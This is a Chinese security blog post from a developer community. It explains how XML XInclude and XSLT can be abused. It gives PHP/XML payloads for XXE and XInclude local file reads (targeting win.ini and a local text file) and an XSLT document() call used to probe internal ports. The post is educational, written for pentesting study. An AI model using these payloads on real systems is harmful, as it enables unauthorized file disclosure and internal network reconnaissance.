xinclude和xslt的利用-阿里云开发者社区

开发者社区> spleated> 正文

xinclude和xslt的利用

简介: 参考文献:http://skysec.top/2018/08/18/%E6%B5%85%E6%9E%90xml%E4%B9%8Bxinclude-xslt/ 环境 libxml:2.9.4 win10 Xinclude 用于合并XML文档的通用机制,通过在“主”文档中编写包含标记来自动包含其他文档或其他部分。
+关注继续查看

参考文献:http://skysec.top/2018/08/18/%E6%B5%85%E6%9E%90xml%E4%B9%8Bxinclude-xslt/

环境

libxml:2.9.4
win10

Xinclude

用于合并XML文档的通用机制,通过在“主”文档中编写包含标记来自动包含其他文档或其他部分。生成的文档成为单个复合XML信息集XInclude机制可用于合并XML文件非XML文本文件中的内容。是xml标记语言中包含其他文件的方式

<html  xmlns = "http://www.w3.org/1999/xhtml"
      xmlns:xi ="http://www.w3.org/2003/XInclude"> 

xi:include 元素
元素中的几个属性:

  • href — 对要包括的文档的 URI 引用。
  • parse — 它的值可以是“xml”或“text”,用于定义如何包括指定的文档(是作为 XML 还是作为纯文本)。默认值是“xml”。
  • xpointer — 这是一个 XPointer,用于标识要包括的 XML 文档部分。如果作为文本包括 (parse=”text”),将忽略该属性。
  • encoding — 作为文本包括时,该属性提供所包括文档的编码提示信息。
<xi:include href="test.xml" parse="text"/>

xi:fallback元素

  • 类似于try...except...,如果xinclude的内容出现问题,则显示fallback的内容
    例如
<xi:include href="test.xml" parse="text"/>
      <xi:fallback>Sorry, the file is unavailable<xi:fallback>
</xi:include>

传统的XXE文件读取

<?php
$xml = <<<EOD
<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY f SYSTEM "file:///c:/windows/win.ini">
]>
<x>&f;</x>
EOD;
$dom = new DOMDocument;
// let's have a nice output
$dom->preserveWhiteSpace = false;
$dom->formatOutput = true;
// load the XML string defined above
$dom->loadXML($xml);
// substitute xincludes
echo $dom->saveXML();
?>
img_eba3bdb1e9d58a1a17741fba659117c9.png

PS:当前的xml解析已默认不支持外部实体引入了

xinclude文件读取

<?php
#payload
$xml = <<<EOD
<?xml version="1.0" ?>
<root xmlns:xi="http://www.w3.org/2001/XInclude">
 <xi:include href="file:///d:/1.txt" parse="text"/>
</root>
EOD;
$dom = new DOMDocument;
$dom->preserveWhiteSpace = false;
$dom->formatOutput = true;
$dom->loadXML($xml);
$dom->xinclude();
echo $dom->saveXML();
?>

没有打开外部实体引用选项,却成功的读取d:/1.txt的内容

img_5cdc42b79ab334b91cde876e2cd765b6.png

PS:xinclude无需使用LIBXML_NOENT选项去开启默认关闭的外部实体引用

xslt

XSL 指扩展样式表语言,而XSLT 指 XSL 转换,可以将XML数据转换为另外的XML或其它格式,如HTML网页纯文字
利用php,将xml转换为html

  • test.xml
<?xml version="1.0" encoding="utf-8"?>
<root>
    <name>Fruit</name>
    <fname>apple</fname>
    <description>red,delicious</description>    
</root>
  • test.xsl
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
<xsl:for-each select="root">
  <xsl:value-of select="name" /><br/>
  <xsl:value-of select="fname" /><br/>
  <xsl:value-of select="description" /><br/>
  </xsl:for-each>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
  • test.php
<?php 
$xslDoc = new DOMDocument();
$xslDoc->load("test.xsl");
$xmlDoc = new DOMDocument();
$xmlDoc->load("test.xml");
$proc = new XSLTProcessor();
$proc->importStylesheet($xslDoc);
echo $proc->transformToXML($xmlDoc);
img_7ad73ee1b34ee1a41d757443696ea592.png

xsl端口探测

不需要开启外部实体引入,只需要使用document()函数

<xsl:for-each select="root">
  <xsl:value-of select="name" /><br/>
  <xsl:value-of select="fname" /><br/>
  <xsl:value-of select="document('http://127.0.0.1:8080')" /><br/>
  </xsl:for-each>
img_8ef79720e2f8299a12c2d265a809532d.png

PS:当这个端口开启的时候,连这个端口开启的什么服务都知道

版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

相关文章
阿里云服务器怎么设置密码?怎么停机?怎么重启服务器?
如果在创建实例时没有设置密码,或者密码丢失,您可以在控制台上重新设置实例的登录密码。本文仅描述如何在 ECS 管理控制台上修改实例登录密码。
4150 0
阿里云服务器端口号设置
阿里云服务器初级使用者可能面临的问题之一. 使用tomcat或者其他服务器软件设置端口号后,比如 一些不是默认的, mysql的 3306, mssql的1433,有时候打不开网页, 原因是没有在ecs安全组去设置这个端口号. 解决: 点击ecs下网络和安全下的安全组 在弹出的安全组中,如果没有就新建安全组,然后点击配置规则 最后如上图点击添加...或快速创建.   have fun!  将编程看作是一门艺术,而不单单是个技术。
4623 0
使用OpenApi弹性释放和设置云服务器ECS释放
云服务器ECS的一个重要特性就是按需创建资源。您可以在业务高峰期按需弹性的自定义规则进行资源创建,在完成业务计算的时候释放资源。本篇将提供几个Tips帮助您更加容易和自动化的完成云服务器的释放和弹性设置。
8269 0
阿里云服务器如何登录?阿里云服务器的三种登录方法
购买阿里云ECS云服务器后如何登录?场景不同,阿里云优惠总结大概有三种登录方式: 登录到ECS云服务器控制台 在ECS云服务器控制台用户可以更改密码、更换系.
5839 0
windows server 2008阿里云ECS服务器安全设置
最近我们Sinesafe安全公司在为客户使用阿里云ecs服务器做安全的过程中,发现服务器基础安全性都没有做。为了为站长们提供更加有效的安全基础解决方案,我们Sinesafe将对阿里云服务器win2008 系统进行基础安全部署实战过程! 比较重要的几部分 1.
5534 0
阿里云服务器安全组设置内网互通的方法
虽然0.0.0.0/0使用非常方便,但是发现很多同学使用它来做内网互通,这是有安全风险的,实例有可能会在经典网络被内网IP访问到。下面介绍一下四种安全的内网互联设置方法。 购买前请先:领取阿里云幸运券,有很多优惠,可到下文中领取。
9516 0
腾讯云服务器 设置ngxin + fastdfs +tomcat 开机自启动
在tomcat中新建一个可以启动的 .sh 脚本文件 /usr/local/tomcat7/bin/ export JAVA_HOME=/usr/local/java/jdk7 export PATH=$JAVA_HOME/bin/:$PATH export CLASSPATH=.
2247 0
阿里云服务器ECS登录用户名是什么?系统不同默认账号也不同
阿里云服务器Windows系统默认用户名administrator,Linux镜像服务器用户名root
1161 0
+关注
spleated
渗透测试入门的小白一只
52
文章
0
问答
文章排行榜
最热
最新
相关电子书
更多
文娱运维技术
立即下载
《SaaS模式云原生数据仓库应用场景实践》
立即下载
《看见新力量:二》电子书
立即下载